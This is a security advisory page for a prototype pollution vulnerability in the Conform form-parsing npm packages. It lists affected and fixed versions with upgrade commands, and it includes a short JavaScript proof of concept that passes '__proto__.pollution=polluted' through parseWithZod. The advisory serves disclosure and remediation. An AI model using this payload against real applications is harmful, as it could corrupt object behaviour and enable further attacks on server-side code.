VDB
Sign up
HIGH8.6

GHSA-624g-8qjg-8qxf

Conform contains a Prototype Pollution Vulnerability in `parseWith...` function

Quick fix

GHSA-624g-8qjg-8qxf — @conform-to/dom: upgrade to the fixed version with the command below.

npm install @conform-to/dom@1.1.1

Details

### Summary Conform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.

### PoC ```javascript const { parseWithZod } = require('@conform-to/zod'); const { z } = require("zod");

const param = new URLSearchParams("__proto__.pollution=polluted"); const schema = z.object({ "a": z.string() });

parseWithZod(param, { schema }); console.log("pollution:", ({}).pollution); // should print "polluted" ```

### Details

The invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:

```javascript let pointer = value;

pointer.__proto__ = pointer.__proto__; pointer = pointer.__proto__;

pointer.polluted = "polluted"; ```

This is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.

### Impact Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@conform-to/dom
Introduced in: 1.0.0Fixed in: 1.1.1
Fixnpm install @conform-to/dom@1.1.1
npm/@conform-to/zod
Introduced in: 1.0.0Fixed in: 1.1.1
Fixnpm install @conform-to/zod@1.1.1
npm/@conform-to/yup
Introduced in: 1.0.0Fixed in: 1.1.1
Fixnpm install @conform-to/yup@1.1.1
npm/@conform-to/zod
Introduced in: 0Fixed in: 0.9.2
Fixnpm install @conform-to/zod@0.9.2
npm/@conform-to/yup
Introduced in: 0Fixed in: 0.9.2
Fixnpm install @conform-to/yup@0.9.2
npm/@conform-to/dom
Introduced in: 0Fixed in: 0.9.2
Fixnpm install @conform-to/dom@0.9.2

References